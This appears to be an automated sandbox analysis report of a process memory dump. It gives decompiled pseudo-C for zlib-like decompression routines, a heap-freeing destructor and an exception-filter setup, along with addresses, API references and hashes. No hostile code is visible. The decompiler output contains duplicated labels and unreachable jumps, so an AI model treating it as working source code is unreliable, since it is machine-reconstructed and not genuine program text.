				_v112 = _t263;
				if(_t212 > _t263) {
					_v120 = _t263;
				}
				if(_t263 != 0) {
					_t344 = 1;
					while(1) {
						__eflags =  *((short*)(_t354 + 0x48 + _t344 * 2));
						if( *((short*)(_t354 + 0x48 + _t344 * 2)) != 0) {
							break;
						}
						__eflags =  *((short*)(_t354 + 0x4a + _t344 * 2));
						if( *((short*)(_t354 + 0x4a + _t344 * 2)) != 0) {
							_t344 = _t344 + 1;
						} else {
							__eflags =  *((short*)(_t354 + 0x4c + _t344 * 2));
							if( *((short*)(_t354 + 0x4c + _t344 * 2)) != 0) {
								_t344 = _t344 + 2;
							} else {
								__eflags =  *((short*)(_t354 + 0x4e + _t344 * 2));
								if( *((short*)(_t354 + 0x4e + _t344 * 2)) != 0) {
									_t344 = _t344 + 3;
								} else {
									__eflags =  *((short*)(_t354 + 0x50 + _t344 * 2));
									if( *((short*)(_t354 + 0x50 + _t344 * 2)) != 0) {
										_t344 = _t344 + 4;
										__eflags = _t344;
									} else {
										_t344 = _t344 + 5;
										__eflags = _t344 - 0xf;
										if(_t344 <= 0xf) {
											continue;
										} else {
										}
									}
								}
							}
						}
						break;
					}
					__eflags = _v120 - _t344;
					if(_v120 < _t344) {
						_v120 = _t344;
					}
					_t309 = 1;
					_t213 = 1;
					while(1) {
						_t309 = _t309 + _t309 - ( *(_t354 + 0x48 + _t213 * 2) & 0x0000ffff);
						__eflags = _t309;
						if(_t309 < 0) {
							break;
						}
						_t213 = _t213 + 1;
						__eflags = _t213 - 0xf;
						if(_t213 <= 0xf) {
							continue;
						} else {
							_t333 = _a4;
							__eflags = _t309;
							if(_t309 <= 0) {
								L32:
								_v30 = 0;
								_t216 = 2;
								do {
									_t270 =  *((intOrPtr*)(_t354 + _t216 + 0x6c)) +  *((intOrPtr*)(_t354 + _t216 + 0x4c));
									_t216 = _t216 + 2;
									 *((short*)(_t354 + _t216 + 0x6c)) = _t270;
									__eflags = _t216 - 0x1e;
								} while (_t216 < 0x1e);
								_t264 = _a12;
								_t217 = 0;
								__eflags = _t264;
								if(_t264 > 0) {
									do {
										__eflags =  *(_t352 + _t217 * 2);
										if( *(_t352 + _t217 * 2) != 0) {
											 *(_a24 + ( *(_t354 + 0x6c + ( *(_t352 + _t217 * 2) & 0x0000ffff) * 2) & 0x0000ffff) * 2) = _t217;
											_t327 =  *(_t352 + _t217 * 2) & 0x0000ffff;
											_t75 = _t354 + 0x6c + _t327 * 2;
											 *_t75 =  *(_t354 + 0x6c + _t327 * 2) + 1;
											__eflags =  *_t75;
										}
										_t217 = _t217 + 1;
										__eflags = _t217 - _t264;
									} while (_t217 < _t264);
								}
								_t219 = _t333;
								__eflags = _t219;
								if(_t219 == 0) {
									_t220 = _a24;
									_v88 = _t220;
									_v96 = 0x13;
									goto L43;
								} else {
									__eflags = _t219 == 1;
									if(_t219 == 1) {
										_v88 = 0x41e28e;
										_t220 = 0x41e2ce;
										_v96 = 0x100;
										L43:
										_v92 = _t220;
									} else {
										_v88 = 0x41e510;
										_v92 = 0x41e550;
										_v96 = 0xffffffff;
									}
								}
								_v108 =  *_a16;
								_t223 = 1 << _v120;
								_v84 = 0xffffffff;
								_t353 = 0;
								_t265 = 0;
								_t97 = _t223 - 1; // 0x0
								_v116 = _t344;
								_v80 = 1;
								_v100 = 1;
								_v76 = _t97;
								__eflags = _t333 - 1;
								if(_t333 != 1) {
									L46:
									_v104 = _a24;
									while(1) {
										L47:
										_t345 = _v104;
										_t225 =  *_t345 & 0x0000ffff;
										_v123 = _v116 - _t265;
										__eflags = (_t225 & 0x0000ffff) - _v96;
										if(__eflags >= 0) {
											if(__eflags <= 0) {
												__eflags = 0;
												_v124 = 0x60;
												_v122 = 0;
											} else {
												_t254 = ( *_t345 & 0x0000ffff) + ( *_t345 & 0x0000ffff);
												_v124 =  *((intOrPtr*)(_t254 + _v92));
												_v122 =  *((intOrPtr*)(_t254 + _v88));
											}
										} else {
											_v124 = 0;
											_v122 = _t225;
										}
										_t226 = _v80;
										_v72 = _t226;
										_t336 = (_t353 >> _t265) + _t226;
										__eflags = _t336;
										_t281 = _v108 + _t336 * 4;
										_t337 = _v124;
										do {
											L53:
											_t226 = _t226 - 1;
											_t281 = _t281 - 4;
											 *_t281 = _t337;
											__eflags = _t226;
										} while (_t226 != 0);
										_t316 = _v116;
										_t228 = 1 << _t316 - 1;
										__eflags = _t353 & 0x00000001;
										if((_t353 & 0x00000001) != 0) {
											do {
												_t228 = _t228 >> 1;
												__eflags = _t353 & _t228;
											} while ((_t353 & _t228) != 0);
										}
										__eflags = _t228;
										if(_t228 == 0) {
											_t353 = 0;
											__eflags = 0;
										} else {
											_t132 = _t228 - 1; // 0x0
											_t353 = (_t132 & _t353) + _t228;
										}
										_v104 =  &(_v104[1]);
										 *(_t354 + 0x4c + _t316 * 2) =  *(_t354 + 0x4c + _t316 * 2) + 0xffff;
										__eflags =  *(_t354 + 0x4c + _t316 * 2) & 0x0000ffff;
										if(( *(_t354 + 0x4c + _t316 * 2) & 0x0000ffff) != 0) {
											L62:
											__eflags = _t316 - _v120;
											if(_t316 <= _v120) {
												L47:
												_t345 = _v104;
												_t225 =  *_t345 & 0x0000ffff;
												_v123 = _v116 - _t265;
												__eflags = (_t225 & 0x0000ffff) - _v96;
												if(__eflags >= 0) {
													if(__eflags <= 0) {
														__eflags = 0;
														_v124 = 0x60;
														_v122 = 0;
													} else {
														_t254 = ( *_t345 & 0x0000ffff) + ( *_t345 & 0x0000ffff);
														_v124 =  *((intOrPtr*)(_t254 + _v92));
														_v122 =  *((intOrPtr*)(_t254 + _v88));
													}
												} else {
													_v124 = 0;
													_v122 = _t225;
												}
												_t226 = _v80;
												_v72 = _t226;
												_t336 = (_t353 >> _t265) + _t226;
												__eflags = _t336;
												_t281 = _v108 + _t336 * 4;
												_t337 = _v124;
												goto L53;
											} else {
												L63:
												_t348 = _v76 & _t353;
												_v68 = _t348;
												__eflags = _t348 - _v84;
												if(_t348 == _v84) {
													continue;
												} else {
													L64:
													__eflags = _t265;
													if(_t265 == 0) {
														_t265 = _v120;
													}
													_v108 = _v108 + _v72 * 4;
													_t285 = _v116 - _t265;
													_t318 = _t265 + _t285;
													_t233 = 1 << _t285;
													__eflags = _t318 - _v112;
													if(_t318 < _v112) {
														_t350 = _t354 + 0x4c + _t318 * 2;
														while(1) {
															_t240 = _t233 - ( *_t350 & 0x0000ffff);
															__eflags = _t240;
															if(_t240 <= 0) {
																break;
															}
															_t318 = _t318 + 1;
															_t285 = _t285 + 1;
															_t350 =  &(_t350[1]);
															_t233 = _t240 + _t240;
															__eflags = _t318 - _v112;
															if(_t318 < _v112) {
																continue;
															}
															break;
														}
														_t348 = _v68;
													}
													_v100 = _v100 + 1;
													__eflags = _a4 - 1;
													_v80 = 1 << _t285;
													if(_a4 != 1) {
														L73:
														_t319 = _t348;
														_t349 = _a16;
														 *( *_t349 + _t319 * 4) = _t285;
														 *((char*)( *_t349 + 1 + _t319 * 4)) = _v120;
														_v84 = _t319;
														 *((short*)( *_t349 + 2 + _t319 * 4)) = _v108 -  *_t349 >> 2;
														continue;
														do {
															do {
																goto L47;
															} while (_t316 <= _v120);
															goto L63;
														} while (_t348 == _v84);
														goto L64;
													} else {
														__eflags = _v100 - 0x5b0;
														if(_v100 >= 0x5b0) {
															goto L84;
														} else {
															goto L73;
														}
													}
												}
											}
										} else {
											__eflags = _t316 - _v112;
											if(_t316 == _v112) {
												_t340 = _a16;
												_v124 = 0x40;
												_v123 = _t316 - _t265;
												_v122 = 0;
												__eflags = _t353;
												if(_t353 != 0) {
													_t351 = _v108;
													do {
														__eflags = _t265;
														if(_t265 != 0) {
															__eflags = (_v76 & _t353) - _v84;
															if((_v76 & _t353) != _v84) {
																_t251 = _v120;
																_t351 =  *_t340;
																_t265 = 0;
																__eflags = 0;
																_v116 = _t251;
																_v123 = _t251;
																_t316 = _t251;
															}
														}
														 *((intOrPtr*)(_t351 + (_t353 >> _t265) * 4)) = _v124;
														_t248 = 1 << _t316 - 1;
														__eflags = _t353 & 0x00000001;
														if((_t353 & 0x00000001) != 0) {
															do {
																_t248 = _t248 >> 1;
																__eflags = _t353 & _t248;
															} while ((_t353 & _t248) != 0);
														}
														__eflags = _t248;
														if(_t248 != 0) {
															goto L82;
														}
														goto L83;
														L82:
														_t203 = _t248 - 1; // 0x0
														_t297 = (_t203 & _t353) + _t248;
														__eflags = _t297;
														_t353 = _t297;
													} while (_t297 != 0);
												}
												L83:
												 *_t340 =  *_t340 + _v100 * 4;
												 *_a20 = _v120;
												__eflags = 0;
												return 0;
											} else {
												_t299 =  *(_a8 + ( *_v104 & 0x0000ffff) * 2) & 0x0000ffff;
												_v116 = _t299;
												_t316 = _t299;
												goto L62;
											}
										}
										goto L85;
									}
								} else {
									__eflags = _t223 - 0x5b0;
									if(_t223 >= 0x5b0) {
										L84:
										return 1;
									} else {
										goto L46;
									}
								}
							} else {
								__eflags = _t333;
								if(_t333 == 0) {
									L30:
									_t260 = _t213 | 0xffffffff;
									__eflags = _t260;
									return _t260;
								} else {
									__eflags = _t263 - 1;
									if(_t263 == 1) {
										goto L32;
									} else {
										goto L30;
									}
								}
							}
						}
						goto L85;
					}
					_t214 = _t213 | 0xffffffff;
					__eflags = _t214;
					return _t214;
				} else {
					_t261 = _a16;
					_v122 = 0;
					_v124 = 0x40;
					_v123 = 1;
					_t305 = _v124;
					 *((intOrPtr*)( *_t261)) = _t305;
					 *_t261 =  *_t261 + 4;
					 *((intOrPtr*)( *_t261)) = _t305;
					 *_t261 =  *_t261 + 4;
					 *_t343 = 1;
					return 0;
				}
				L85:
			}

0x00408c60
0x00408c63
0x00408c78
0x00408c7f
0x00408c83
0x00408c87
0x00408c8b
0x00408c8f
0x00408c93
0x00408c97
0x00408c9b
0x00408c9f
0x00408ca4
0x00408cb0
0x00408cb5
0x00408cbe
0x00408cbf
0x00408cb0
0x00408cc3
0x00408cca
0x00408ccc
0x00408cd0
0x00408cd5
0x00408cdd
0x00408ce1
0x00000000
0x00000000
0x00000000
0x00408ce1
0x00408ce3
0x00408ce9
0x00408ceb
0x00408ceb
0x00408cf1
0x00408d2c
0x00408d31
0x00408d31
0x00408d37
0x00000000
0x00000000
0x00408d39
0x00408d3f
0x00408d63
0x00408d41
0x00408d41
0x00408d47
0x00408d66
0x00408d49
0x00408d49
0x00408d4f
0x00408d6b
0x00408d51
0x00408d51
0x00408d57
0x00408d70
0x00408d70
0x00408d59
0x00408d59
0x00408d5c
0x00408d5f
0x00000000
0x00000000
0x00408d61
0x00408d5f
0x00408d57
0x00408d4f
0x00408d47
0x00000000
0x00408d3f
0x00408d73
0x00408d77
0x00408d79
0x00408d79
0x00408d7d
0x00408d82
0x00408d84
0x00408d8b
0x00408d8b
0x00408d8d
0x00000000
0x00000000
0x00408d8f
0x00408d90
0x00408d93
0x00000000
0x00408d95
0x00408d96
0x00408d9d
0x00408d9f
0x00408dbf
0x00408dc1
0x00408dc6
0x00408dd0
0x00408dd5
0x00408dda
0x00408ddd
0x00408de2
0x00408de2
0x00408de7
0x00408dee
0x00408df0
0x00408df2
0x00408df4
0x00408df4
0x00408dfa
0x00408e0d
0x00408e11
0x00408e16
0x00408e16
0x00408e16
0x00408e1b
0x00408e1f
0x00408e20
0x00408e20
0x00408df4
0x00408e26
0x00408e26
0x00408e2e
0x00408e6d
0x00408e74
0x00408e78
0x00000000
0x00408e30
0x00408e30
0x00408e33
0x00408e55
0x00408e5e
0x00408e63
0x00408e80
0x00408e80
0x00408e35
0x00408e35
0x00408e3d
0x00408e45
0x00408e45
0x00408e33
0x00408e8d
0x00408e9a
0x00408e9c
0x00408ea0
0x00408ea2
0x00408ea4
0x00408ea7
0x00408eab
0x00408eaf
0x00408eb3
0x00408eb7
0x00408eba
0x00408ec7
0x00408ece
0x00408ed2
0x00408ed2
0x00408ed6
0x00408eda
0x00408ee3
0x00408eea
0x00408eec
0x00408efa
0x00408f1b
0x00408f1d
0x00408f22
0x00408efc
0x00408f03
0x00408f10
0x00408f14
0x00408f14
0x00408eee
0x00408eee
0x00408ef3
0x00408ef3
0x00408f2b
0x00408f42
0x00408f4d
0x00408f4d
0x00408f4f
0x00408f52
0x00408f56
0x00408f56
0x00408f56
0x00408f58
0x00408f5a
0x00408f5c
0x00408f5c
0x00408f60
0x00408f6c
0x00408f6e
0x00408f70
0x00408f72
0x00408f72
0x00408f74
0x00408f74
0x00408f72
0x00408f78
0x00408f7a
0x00408f87
0x00408f87
0x00408f7c
0x00408f7c
0x00408f83
0x00408f83
0x00408f89
0x00408f93
0x00408f9d
0x00408fa0
0x00408fc4
0x00408fc4
0x00408fc8
0x00408ed2
0x00408ed6
0x00408eda
0x00408ee3
0x00408eea
0x00408eec
0x00408efa
0x00408f1b
0x00408f1d
0x00408f22
0x00408efc
0x00408f03
0x00408f10
0x00408f14
0x00408f14
0x00408eee
0x00408eee
0x00408ef3
0x00408ef3
0x00408f2b
0x00408f42
0x00408f4d
0x00408f4d
0x00408f4f
0x00408f52
0x00000000
0x00408fce
0x00408fce
0x00408fd2
0x00408fd4
0x00408fd8
0x00408fdc
0x00000000
0x00408fe2
0x00408fe2
0x00408fe2
0x00408fe4
0x00408fe6
0x00408fe6
0x00408ff5
0x00408ffd
0x00409004
0x00409007
0x00409009
0x0040900d
0x0040900f
0x00409013
0x00409016
0x00409018
0x0040901a
0x00000000
0x00000000
0x0040901c
0x0040901d
0x0040901e
0x00409021
0x00409023
0x00409027
0x00000000
0x00000000
0x00000000
0x00409027
0x00409029
0x00409029
0x00409034
0x00409038
0x00409040
0x00409044
0x00409054
0x00409054
0x00409056
0x0040905f
0x00409068
0x00409077
0x0040907b
0x00409080
0x00408ed2
0x00408ed2
0x00000000
0x00000000
0x00000000
0x00408ed2
0x00000000
0x00409046
0x00409046
0x0040904e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040904e
0x00409044
0x00408fdc
0x00408fa2
0x00408fa2
0x00408fa6
0x00409085
0x00409092
0x00409097
0x0040909b
0x004090a0
0x004090a2
0x004090a4
0x004090a8
0x004090a8
0x004090aa
0x004090b2
0x004090b6
0x004090b8
0x004090bc
0x004090be
0x004090be
0x004090c0
0x004090c4
0x004090c8
0x004090c8
0x004090b6
0x004090d4
0x004090df
0x004090e1
0x004090e3
0x004090e5
0x004090e5
0x004090e7
0x004090e7
0x004090e5
0x004090eb
0x004090ed
0x00000000
0x00000000
0x00000000
0x004090ef
0x004090ef
0x004090f4
0x004090f4
0x004090f6
0x004090f6
0x004090a8
0x004090fa
0x0040910c
0x00409115
0x00409117
0x0040911d
0x00408fac
0x00408fba
0x00408fbe
0x00408fc2
0x00000000
0x00408fc2
0x00408fa6
0x00000000
0x00408fa0
0x00408ebc
0x00408ebc
0x00408ec1
0x0040911e
0x0040912a
0x00000000
0x00000000
0x00000000
0x00408ec1
0x00408da1
0x00408da1
0x00408da3
0x00408daa
0x00408dad
0x00408dad
0x00408db4
0x00408da5
0x00408da5
0x00408da8
0x00000000
0x00000000
0x00000000
0x00000000
0x00408da8
0x00408da3
0x00408d9f
0x00000000
0x00408d93
0x00408db7
0x00408db7
0x00408dbe
0x00408cf3
0x00408cf3
0x00408cfc
0x00408d03
0x00408d08
0x00408d0d
0x00408d11
0x00408d13
0x00408d18
0x00408d1a
0x00408d1d
0x00408d2b
0x00408d2b
0x00000000

Strings

@, xrefs: 00408D03
@, xrefs: 00409092

Memory Dump Source

Source File: 0000000B.00000002.915498748.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.915533026.0000000000426000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.915550260.000000000045C000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
Instruction ID: 284407f43597d2b1529aa5dbb826e4f49811f0ea4eaa41d9cabafce47d44ff82
Opcode Fuzzy Hash: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
Instruction Fuzzy Hash: 64E159316083418FC724DF28C58066BB7E1AFD9314F14493EE8C5A7391EB79D949CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0, Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 0000000B.00000002.915498748.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.915533026.0000000000426000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.915550260.000000000045C000.00000040.00000001.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004123F1, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004123F1() {

				SetUnhandledExceptionFilter(E004123AF);
				return 0;
			}

0x004123f6
0x004123fe

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 0000000B.00000002.915498748.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.915533026.0000000000426000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.915550260.000000000045C000.00000040.00000001.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Uniqueness

Uniqueness Score: -1.00%

Function 00407C3F, Relevance: .8, Instructions: 783
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00407C3F(unsigned int __ebx, signed char* __edx, signed int* __edi, signed int __esi) {
				signed int _t623;
				signed int _t626;
				signed char** _t637;
				signed int _t645;
				signed int _t649;
				signed int _t654;
				signed int _t657;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed char _t771;
				signed char _t776;
				signed char _t778;
				signed int _t783;
				signed int _t785;
				signed int _t792;
				signed int _t795;
				signed int _t799;
				signed int _t803;
				signed int _t805;
				signed int _t813;
				unsigned int _t814;
				signed int _t815;
				signed int _t816;
				void* _t824;
				unsigned int _t828;
				unsigned int _t829;
				intOrPtr _t961;
				signed char _t962;
				signed char _t968;
				signed char _t974;
				signed char* _t989;
				signed char* _t998;
				signed int* _t1018;
				signed int _t1023;
				signed char** _t1025;
				signed char* _t1029;
				void* _t1032;
				void* _t1036;

				L0:
				while(1) {
					L0:
					_t1023 = __esi;
					_t1018 = __edi;
					_t989 = __edx;
					_t814 = __ebx;
					if(__esi >= 0xe) {
						goto L154;
					}
					L152:
					while(__edx != 0) {
						__eax =  *__ebp & 0x000000ff;
						__eax = ( *__ebp & 0x000000ff) << __cl;
						__edx = __edx - 1;
						__esi = __esi + 8;
						__ebp =  &(__ebp[1]);
						__ebx = __ebx + __eax;
						 *(__esp + 0x10) = __edx;
						if(__esi < 0xe) {
							continue;
						} else {
							goto L154;
						}
						L321:
					}
					L303:
					_t637 =  *(_t1036 + 0x40);
					_t637[3] =  *(_t1036 + 0x24);
					_t637[4] =  *(_t1036 + 0x18);
					 *_t637 = _t1029;
					_t637[1] = _t998;
					_t1018[0xe] = _t814;
					_t1018[0xf] = _t1023;
					if(_t1018[0xa] != 0 ||  *_t1018 < 0x18 &&  *(_t1036 + 0x28) != _t637[4]) {
						L306:
						if(E004072B0( *(_t1036 + 0x28),  *(_t1036 + 0x40)) == 0) {
							goto L309;
						} else {
							L307:
							 *_t1018 = 0x1c;
							L308:
							return 0xfffffffc;
						}
					} else {
						L309:
						_t1025 =  *(_t1036 + 0x40);
						_t1032 =  *((intOrPtr*)(_t1036 + 0x38)) - _t1025[1];
						_t824 =  *(_t1036 + 0x28) - _t1025[4];
						_t1025[2] =  &(_t1025[2][_t1032]);
						_t1025[5] =  &(_t1025[5][_t824]);
						_t1018[7] = _t1018[7] + _t824;
						if(_t1018[2] != 0 && _t824 != 0) {
							_push(_t824);
							if(_t1018[4] == 0) {
								_push(_t1025[3] - _t824);
								_push(_t1018[6]);
								_t649 = E004024A0();
							} else {
								_push(_t1025[3] - _t824);
								_push(_t1018[6]);
								_t649 = E00403080();
							}
							_t1018[6] = _t649;
							_t1036 = _t1036 + 0xc;
							_t1025[0xc] = _t649;
						}
						asm("sbb edx, edx");
						_t1025[0xb] = ( ~(_t1018[1]) & 0x00000040) + ((0 |  *_t1018 != 0x0000000b) - 0x00000001 & 0x00000080) + _t1018[0xf];
						if(_t1032 != 0 || _t824 != 0) {
							L317:
							if( *((intOrPtr*)(_t1036 + 0x44)) != 4) {
								L320:
								return  *(_t1036 + 0x30);
							} else {
								goto L318;
							}
						} else {
							L318:
							_t645 =  *(_t1036 + 0x30);
							if(_t645 != 0) {
								L297:
								return _t645;
							} else {
								L319:
								return 0xfffffffb;
							}
						}
					}
					goto L321;
					L154:
					_t815 = _t814 >> 5;
					_t1018[0x18] = (_t814 & 0x0000001f) + 0x101;
					_t816 = _t815 >> 5;
					_t626 = (_t815 & 0x0000001f) + 1;
					_t814 = _t816 >> 4;
					_t1023 = _t1023 - 0xe;
					_t1018[0x19] = _t626;
					_t1018[0x17] = (_t816 & 0x0000000f) + 4;
					if(_t1018[0x18] > 0x11e || _t626 > 0x1e) {
						L26:
						( *(_t1036 + 0x40))[6] = 0x41d338;
						goto L294;
					} else {
						L156:
						_t1018[0x1a] = 0;
						 *_t1018 = 0x10;
						L157:
						if(_t1018[0x1a] >= _t1018[0x17]) {
							L163:
							while(_t1018[0x1a] < 0x13) {
								L165:
								 *((short*)(_t1018 + 0x70 + ( *(0x41e468 + _t1018[0x1a] * 2) & 0x0000ffff) * 2)) = 0;
								_t1018[0x1a] = _t1018[0x1a] + 1;
							}
							L166:
							_t654 =  &(_t1018[0x14c]);
							_t1018[0x1b] = _t654;
							_t1018[0x13] = _t654;
							_t1018[0x15] = 7;
							_t657 = E00408C60(0,  &(_t1018[0x1c]), 0x13,  &(_t1018[0x1b]),  &(_t1018[0x15]),  &(_t1018[0xbc]));
							_t998 =  *(_t1036 + 0x28);
							_t1036 = _t1036 + 0x18;
							 *(_t1036 + 0x30) = _t657;
							if(_t657 != 0) {
								L293:
								( *(_t1036 + 0x40))[6] = 0x41d338;
								goto L294;
							} else {
								L167:
								_t1018[0x1a] = _t657;
								 *_t1018 = 0x11;
								L168:
								if(_t1018[0x1a] >= _t1018[0x19] + _t1018[0x18]) {
									L201:
									if( *_t1018 == 0x1b) {
										goto L295;
									} else {
										L202:
										_t660 =  &(_t1018[0x14c]);
										_t1018[0x1b] = _t660;
										_t1018[0x13] = _t660;
										_t1018[0x15] = 9;
										_t662 = E00408C60(1,  &(_t1018[0x1c]), _t1018[0x18],  &(_t1018[0x1b]),  &(_t1018[0x15]),  &(_t1018[0xbc]));
										_t1036 = _t1036 + 0x18;
										 *(_t1036 + 0x30) = _t662;
										if(_t662 == 0) {
											L204:
											_t1018[0x14] = _t1018[0x1b];
											_t1018[0x16] = 6;
											_t665 = E00408C60(2, _t1018 + 0x70 + _t1018[0x18] * 2, _t1018[0x19],  &(_t1018[0x1b]),  &(_t1018[0x16]),  &(_t1018[0xbc]));
											_t998 =  *(_t1036 + 0x28);
											_t1036 = _t1036 + 0x18;
											 *(_t1036 + 0x30) = _t665;
											if(_t665 == 0) {
												L206:
												 *_t1018 = 0x12;
												goto L207;
											} else {
												L205:
												( *(_t1036 + 0x40))[6] = 0x41d338;
												goto L294;
											}
										} else {
											L203:
											_t998 =  *(_t1036 + 0x10);
											( *(_t1036 + 0x40))[6] = 0x41d338;
											L294:
											 *_t1018 = 0x1b;
											while(1) {
												L295:
												_t623 =  *_t1018;
												if(_t623 > 0x1c) {
													break;
												}
												L1:
												switch( *((intOrPtr*)(_t623 * 4 +  &M004087C4))) {
													case 0:
														L2:
														if(_t1018[2] != 0) {
															L4:
															if(_t1023 >= 0x10) {
																L8:
																if((_t1018[2] & 0x00000002) == 0 || _t814 != 0x8b1f) {
																	_t628 = _t1018[8];
																	_t1018[4] = 0;
																	if(_t628 != 0) {
																		 *((intOrPtr*)(_t628 + 0x30)) = 0xffffffff;
																	}
																	L13:
																	if((_t1018[2] & 0x00000001) == 0 || (((_t814 & 0x000000ff) << 8) + (_t814 >> 8)) % 0x1f != 0) {
																		( *(_t1036 + 0x40))[6] = 0x41d338;
																		goto L294;
																	} else {
																		L15:
																		if((_t814 & 0x0000000f) == 8) {
																			L17:
																			_t814 = _t814 >> 4;
																			_t848 = (_t814 & 0x0000000f) + 8;
																			_t1023 = _t1023 - 4;
																			if(_t848 <= _t1018[9]) {
																				_push(0);
																				_push(0);
																				_push(0);
																				_t1018[5] = 1 << _t848;
																				_t633 = E004024A0();
																				_t998 =  *(_t1036 + 0x1c);
																				_t1018[6] = _t633;
																				 *( *((intOrPtr*)(_t1036 + 0x4c)) + 0x30) = _t633;
																				 *_t1018 =  !(_t814 >> 8) & 0x00000002 | 0x00000009;
																				_t1036 = _t1036 + 0xc;
																				_t814 = 0;
																				_t1023 = 0;
																			} else {
																				_t998 =  *(_t1036 + 0x10);
																				goto L293;
																			}
																		} else {
																			_t998 =  *(_t1036 + 0x10);
																			( *(_t1036 + 0x40))[6] = 0x41d338;
																			goto L294;
																		}
																	}
																} else {
																	_t1018[6] = E00403080(0, 0, 0);
																	 *(_t1036 + 0x2c) = 0x1f;
																	 *(_t1036 + 0x2d) = 0x8b;
																	_t636 = E00403080(_t1018[6], _t1036 + 0x2c, 2);
																	_t998 =  *(_t1036 + 0x28);
																	_t1036 = _t1036 + 0x18;
																	_t814 = 0;
																	_t1018[6] = _t636;
																	_t1023 = 0;
																	 *_t1018 = 1;
																}
																goto L295;
															} else {
																L6:
																while(_t998 != 0) {
																	_t652 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t652;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < 0x10) {
																		continue;
																	} else {
																		goto L8;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															 *_t1018 = 0xc;
															goto L295;
														}
														goto L321;
													case 1:
														L21:
														if(__esi >= 0x10) {
															L24:
															 *(__edi + 0x10) = __ebx;
															if(__bl != 8) {
																goto L293;
															} else {
																L25:
																if((__ebx & 0x0000e000) == 0) {
																	L27:
																	__eax =  *(__edi + 0x20);
																	if(__eax != 0) {
																		__ebx = __ebx >> 8;
																		__ecx = __ebx >> 0x00000008 & 0x00000001;
																		 *__eax = __ebx >> 0x00000008 & 0x00000001;
																	}
																	if(( *(__edi + 0x10) & 0x00000200) != 0) {
																		 *(__esp + 0x1c) = __bl;
																		__ebx = __ebx >> 8;
																		__edx = __esp + 0x20;
																		 *(__esp + 0x21) = __bl;
																		__eax =  *(__edi + 0x18);
																		__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																		__edx =  *(__esp + 0x1c);
																		 *(__edi + 0x18) = __eax;
																	}
																	__ebx = 0;
																	__esi = 0;
																	 *__edi = 2;
																	goto L34;
																} else {
																	goto L26;
																}
															}
														} else {
															L22:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x10) {
																	continue;
																} else {
																	goto L24;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 2:
														L32:
														if(__esi >= 0x20) {
															L36:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 4) = __ebx;
															}
															if(( *(__edi + 0x10) & 0x00000200) != 0) {
																 *(__esp + 0x1c) = __bl;
																__ecx = __ebx;
																__edx = __ebx;
																__ecx = __ebx >> 8;
																__edx = __ebx >> 0x10;
																__ebx = __ebx >> 0x18;
																__eax = __esp + 0x20;
																 *(__esp + 0x21) = __cl;
